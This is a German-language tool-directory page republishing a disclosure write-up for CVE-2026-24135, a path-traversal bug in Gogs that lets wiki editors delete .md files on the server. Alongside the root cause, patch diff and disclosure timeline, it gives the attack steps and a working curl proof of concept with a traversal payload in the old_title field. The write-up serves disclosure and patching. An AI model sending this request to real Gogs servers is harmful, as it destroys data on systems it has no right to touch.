Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24135 — Beliebige Dateilöschung in Gogs über Wiki-Pfad-Traversal | Kitploit
Tools/GitHubGitHub/reschjonas/cve-2026-24135
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsLernen & Bildung
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Beliebige Dateilöschung in Gogs über Wiki-Pfad-Traversal

Repository anzeigen
15vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24135: Beliebige Dateilöschung in Gogs durch Wiki-Pfad-Traversal

Schweregrad: Hoch (CVSS 7.5)
Betroffene Software: Gogs <= 0.13.3
Behoben in: 0.13.4, 0.14.0+dev
Advisory: GHSA-jp7c-wj6q-3qf2
Patch: gogs/gogs#8099


Zusammenfassung

Während eines Sicherheits-Audits von Gogs (einem beliebten, in Go geschriebenen selbst gehosteten Git-Dienst) habe ich eine Path-Traversal-Schwachstelle in der Funktion updateWikiPage gefunden. Sie erlaubt es einem authentifizierten Benutzer mit Schreibzugriff auf das Wiki, beliebige Dateien auf dem Server zu löschen, indem er Path-Traversal-Sequenzen in den Parameter old_title des Wiki-Bearbeitungsformulars injiziert.


Grundursache

Die Schwachstelle ist ein asymmetrischer Sanitization-Fehler in internal/database/wiki.go. Wenn eine Wiki-Seite aktualisiert wird, behandelt die Funktion zwei Titelparameter unterschiedlich:

ParameterBereinigt?Verwendet in
title (neuer Name)Ja — über ToWikiPageName()path.Join() für die Dateierstellung
oldTitle (vorheriger Name)Neinpath.Join() + os.Remove()

Verwundbarer Code

// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

Der Wert von oldTitle fließt direkt aus der vom Benutzer kontrollierten Formulareingabe über den Route-Handler in os.Remove() – ohne jegliche Pfad-Bereinigung.


Datenfluss

User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

Angriffsvektor

Voraussetzungen: Authentifizierter Benutzer mit Schreibzugriff auf das Wiki eines beliebigen Repositorys.

  1. Rufe die Bearbeitung einer bestehenden Wiki-Seite auf
  2. Fange die POST-Anfrage an /repo/wiki/edit ab
  3. Ändere das Formularfeld old_title so, dass es Path-Traversal-Sequenzen enthält (z. B. ../../../../tmp/target_file)
  4. Sende die Anfrage ab
  5. Der Server löst den Traversal-Pfad auf und löscht die Zieldatei

Proof of Concept

# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

Die Erweiterung .md wird automatisch angehängt. Jede Datei, die auf .md endet und auf die der Gogs-Prozess Schreibrechte hat, kann gelöscht werden.


Auswirkungen

AuswirkungBeschreibung
Beliebige DateilöschungLöschen beliebiger .md-Dateien, auf die der Gogs-Prozess Schreibzugriff hat
Denial of ServiceEntfernen kritischer Konfigurations- oder Datendateien
DatenverlustZerstören von Wiki-Seiten, Dokumentationen oder Repository-Dateien anderer Benutzer
Potenzielle EskalationIn Kombination mit anderen Schwachstellen könnte dies zu einer weiteren Kompromittierung führen

Behebung

Wende dieselbe ToWikiPageName-Bereinigung auf oldTitle an, die bereits auf title angewendet wird:

 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

Ich habe diesen Fix im Rahmen der Offenlegung vorgeschlagen, und die Gogs-Maintainer haben ihn in PR #8099 umgesetzt.


Offenlegungszeitplan

DatumEreignis
2025-12-13Schwachstelle während des Sicherheits-Audits entdeckt
2025-12-13Advisory über das GitHub Security Advisory eingereicht (GHSA-jp7c-wj6q-3qf2)
2026-01-20Nachfrage bei den Gogs-Maintainern
2026-01-20Maintainer bestätigte die Schwachstelle
2026-01-22Patch zusammengeführt (#8099)
2026-01-22CVE-2026-24135 von GitHub zugewiesen
2026-02-06Öffentliche Offenlegung

Referenzen

  • GitHub Security Advisory: GHSA-jp7c-wj6q-3qf2
  • Patch: gogs/gogs#8099
  • Gogs-Projekt
Tool herunterladen